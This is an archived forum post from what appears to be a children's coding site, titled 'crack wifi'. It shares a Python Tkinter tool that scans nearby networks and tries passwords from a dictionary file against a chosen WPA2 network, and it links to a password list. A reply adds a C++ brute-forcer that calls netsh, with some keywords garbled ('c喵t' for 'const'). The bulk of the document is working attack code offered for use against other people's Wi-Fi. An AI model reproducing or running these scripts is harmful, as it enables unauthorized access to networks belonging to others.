猫史档案馆


【Python作品分享】破解wifi

用户:Andrew李Andrew李查看:2 回复:5 评论:2 创建时间:2021-12-25T19:02:34


【作品展示】

center_image

 

【作品介绍】

https://download.csdn.net/download/WASEFADG/21710882

是密码本下载

 

【作品源代码】

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框

class MY_GUI():
	def __init__(self,init_window_name):
		self.init_window_name = init_window_name

		#密码文件路径
		self.get_value = StringVar() # 设置可变内容

		#获取破解wifi账号
		self.get_wifi_value = StringVar()

		#获取wifi密码
		self.get_wifimm_value = StringVar()

		self.wifi = pywifi.PyWiFi()  #抓取网卡接口
		self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
		self.iface.disconnect()  #测试链接断开所有链接
		time.sleep(1)  #休眠1秒
		#测试网卡是否属于断开状态
		assert self.iface.status() in\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

	def __str__(self):
        # 自动会调用的函数,返回自身的网卡
		return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

	#设置窗口
	def set_init_window(self):
		self.init_window_name.title("WIFI破解工具")
		self.init_window_name.geometry('+500+200')

		labelframe = LabelFrame(width=400, height=200,text="配置")  # 框架,以下对象都是对于labelframe中添加的
		labelframe.grid(column=0, row=0, padx=10, pady=10)

		self.search = Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)

		self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)

		self.label = Label(labelframe,text="目录路径:").grid(column=0,row=1)

		self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)

		self.file = Button(labelframe,text="添加密码文件目录",command=self.add_mm_file).grid(column=2,row=1)

		self.wifi_text = Label(labelframe,text="WiFi账号:").grid(column=0,row=2)

		self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)

		self.wifi_mm_text = Label(labelframe,text="WiFi密码:").grid(column=2,row=2)

		self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)

		self.wifi_labelframe = LabelFrame(text="wifi列表")
		self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)


		# 定义树形结构与滚动条
		self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
		self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
		self.wifi_tree.configure(yscrollcommand=self.vbar.set)

		# 表格的标题
		self.wifi_tree.column("a", width=50, anchor="center")
		self.wifi_tree.column("b", width=100, anchor="center")
		self.wifi_tree.column("c", width=100, anchor="center")
		self.wifi_tree.column("d", width=100, anchor="center")

		self.wifi_tree.heading("a", text="WiFiID")
		self.wifi_tree.heading("b", text="SSID")
		self.wifi_tree.heading("c", text="BSSID")
		self.wifi_tree.heading("d", text="signal")

		self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
		self.wifi_tree.bind("",self.onDBClick)
		self.vbar.grid(row=4,column=1,sticky=NS)

	#搜索wifi
	#cmd /k C:\Python27\python.exe "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
	def scans_wifi_list(self):  # 扫描周围wifi列表
		#开始扫描
		print("^_^ 开始扫描附近wifi...")
		self.iface.scan()
		time.sleep(15)
		#在若干秒后获取扫描结果
		scanres = self.iface.scan_results()
		#统计附近被发现的热点数量
		nums = len(scanres)
		print("数量: %s"%(nums))
		#print ("| %s |  %s |  %s | %s"%("WIFIID","SSID","BSSID","signal"))
		# 实际数据
		self.show_scans_wifi_list(scanres)
		return scanres

	#显示wifi列表
	def show_scans_wifi_list(self,scans_res):
		for index,wifi_info in enumerate(scans_res):
            # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
			self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
			#print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

	#添加密码文件目录
	def add_mm_file(self):
		self.filename = tkinter.filedialog.askopenfilename()
		self.get_value.set(self.filename)

	#Treeview绑定事件
	def onDBClick(self,event):
		self.sels= event.widget.selection()
		self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
		#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

	#读取密码字典,进行匹配
	def readPassWord(self):
		self.getFilePath = self.get_value.get()

		self.get_wifissid = self.get_wifi_value.get()

		pwdfilehander=open(self.getFilePath,"r",errors="ignore")
		while True:
				try:
					self.pwdStr=pwdfilehander.readline()

					if not self.pwdStr:
						break
					self.bool1=self.connect(self.pwdStr,self.get_wifissid)

					if self.bool1:
						self.res = "===正确===  wifi名:%s  匹配密码:%s "%(self.get_wifissid,self.pwdStr)
						self.get_wifimm_value.set(self.pwdStr)
						tkinter.messagebox.showinfo('提示', '破解成功!!!')
						print(self.res)
						break
					else:
						self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)
						print(self.res)
					sleep(3)
				except:
					continue
	#对wifi和密码进行匹配
	def connect(self,pwd_Str,wifi_ssid):
		#创建wifi链接文件
		self.profile = pywifi.Profile()
		self.profile.ssid =wifi_ssid #wifi名称
		self.profile.auth = const.AUTH_ALG_OPEN  #网卡的开放
		self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
		self.profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
		self.profile.key = pwd_Str #密码
		self.iface.remove_all_network_profiles() #删除所有的wifi文件
		self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件
		self.iface.connect(self.tmp_profile)#链接
		time.sleep(5)
		if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
			isOK=True
		else:
			isOK=False
		self.iface.disconnect() #断开
		time.sleep(1)
		#检查断开状态
		assert self.iface.status() in\
				[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
		return isOK

def gui_start():
	init_window = Tk()
	ui = MY_GUI(init_window)
	print(ui)
	ui.set_init_window()
	#ui.scans_wifi_list()

	init_window.mainloop()

gui_start()

 

【提示】

部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:

https://python.codemao.cn


回复

上一页1 页 / 共 1下一页
Andrew李Andrew李

密码本要等下一个帖子

 

点赞1


评论


lzhh11123有关必回lzhh11123有关必回

报错了

pywifi 2025-01-16 16:56:06,997 ERROR Open handle failed!
pywifi 2025-01-16 16:56:07,014 ERROR Enum interface failed!
pywifi 2025-01-16 16:56:07,020 ERROR Can't get wifi interface
Traceback (most recent call last):
  File "C:11.py", line 179, in <module>
    gui_start()
  File "C:/11.py", line 172, in gui_start
    ui = MY_GUI(init_window)
  File ".py", line 23, in __init__
    self.iface = self.wifi.interfaces()[0] #抓取第一个无线网卡
IndexError: list index out of range

 

 

点赞0


评论


忘归人忘归人

666

点赞0


评论


明_明_

不用设密码本,可以通过遍历range和格式化来动态生成密码进行喵破解

点赞1


评论


内向的流星猫0AL7内向的流星猫0AL7

大佬我有一个c++的喵破解WiFi密码

#include <iostream>
#include <cstdlib>
#include <string>
#include <cstdio>

// 获取用户文档目录
std::string getDocumentsDirectory() {
    c喵t char* userProfile = std::getenv("USERPROFILE");
    if (userProfile != NULL) {
        std::string profilePath(userProfile);
        return profilePath + "\\Documents";
    }
    return "";
}

// 连接到指定的 Wi-Fi 网络
bool connectToWiFi(c喵t std::string& ssid, c喵t std::string& password) {
    std::string command = "netsh wlan connect name=\"" + ssid + "\" ssid=\"" + ssid + "\" interface=WLAN";
    int result = std::system(command.c_str());
    if (result != 0) {
        return false;
    }

    std::string profileCommand = "netsh wlan add profile filename=\"";
    std::string profileContent = "<?xml version=\"1.0\"?>\n"
                                 "<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n"
                                 "    <name>" + ssid + "</name>\n"
                                 "    <SSIDConfig>\n"
                                 "        <SSID>\n"
                                 "            <name>" + ssid + "</name>\n"
                                 "        </SSID>\n"
                                 "    </SSIDConfig>\n"
                                 "    <connectionType>ESS</connectionType>\n"
                                 "    <connectionMode>auto</connectionMode>\n"
                                 "    <MSM>\n"
                                 "        <security>\n"
                                 "            <authEncryption>\n"
                                 "                <authentication>WPA2PSK</authentication>\n"
                                 "                <encryption>AES</encryption>\n"
                                 "                <useOneX>false</useOneX>\n"
                                 "            </authEncryption>\n"
                                 "            <sharedKey>\n"
                                 "                <keyType>passPhrase</keyType>\n"
                                 "                <protected>false</protected>\n"
                                 "                <keyMaterial>" + password + "</keyMaterial>\n"
                                 "            </sharedKey>\n"
                                 "        </security>\n"
                                 "    </MSM>\n"
                                 "</WLANProfile>";

    std::string documentsDir = getDocumentsDirectory();
    std::string tempFile = documentsDir + "\\wifi_profile.xml";

    FILE* file = std::fopen(tempFile.c_str(), "w");
    if (file != NULL) {
        std::fprintf(file, "%s", profileContent.c_str());
        std::fclose(file);
    } else {
        return false;
    }

    profileCommand += tempFile + "\" interface=WLAN";
    result = std::system(profileCommand.c_str());
    if (result != 0) {
        return false;
    }

    return true;
}

// 生成下一个可能的密码组合
bool nextPassword(std::string& password, c喵t std::string& charset) {
    int len = password.length();
    for (int i = len - 1; i >= 0; --i) {
        size_t pos = charset.find(password[i]);
        if (pos < charset.length() - 1) {
            password[i] = charset[pos + 1];
            return true;
        } else {
            password[i] = charset[0];
        }
    }
    return false;
}

// 喵破解 Wi-Fi 密码
std::string bruteForceWiFiPassword(c喵t std::string& ssid, int maxLength) {
    std::string charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_";
    for (int length = 8; length <= maxLength; ++length) {
        std::string currentPassword(length, charset[0]);
        do {
            // 显示当前正在尝试的密码
            std::cout << "正在尝试密码: " << currentPassword << std::endl;
            if (connectToWiFi(ssid, currentPassword)) {
                return currentPassword;
            }
        } while (nextPassword(currentPassword, charset));
    }
    return "";
}

int main() {
    std::cout << "请输入你要连接的网络: " << std::endl;
    std::string ssid;
    std::cin >> ssid;

    std::string crackedPassword = bruteForceWiFiPassword(ssid, 128);
    if (!crackedPassword.empty()) {
        std::cout << "密码已破解: " << crackedPassword << std::endl;
    } else {
        std::cout << "未找到密码。" << std::endl;
    }

    return 0;
}	、、 

点赞0


评论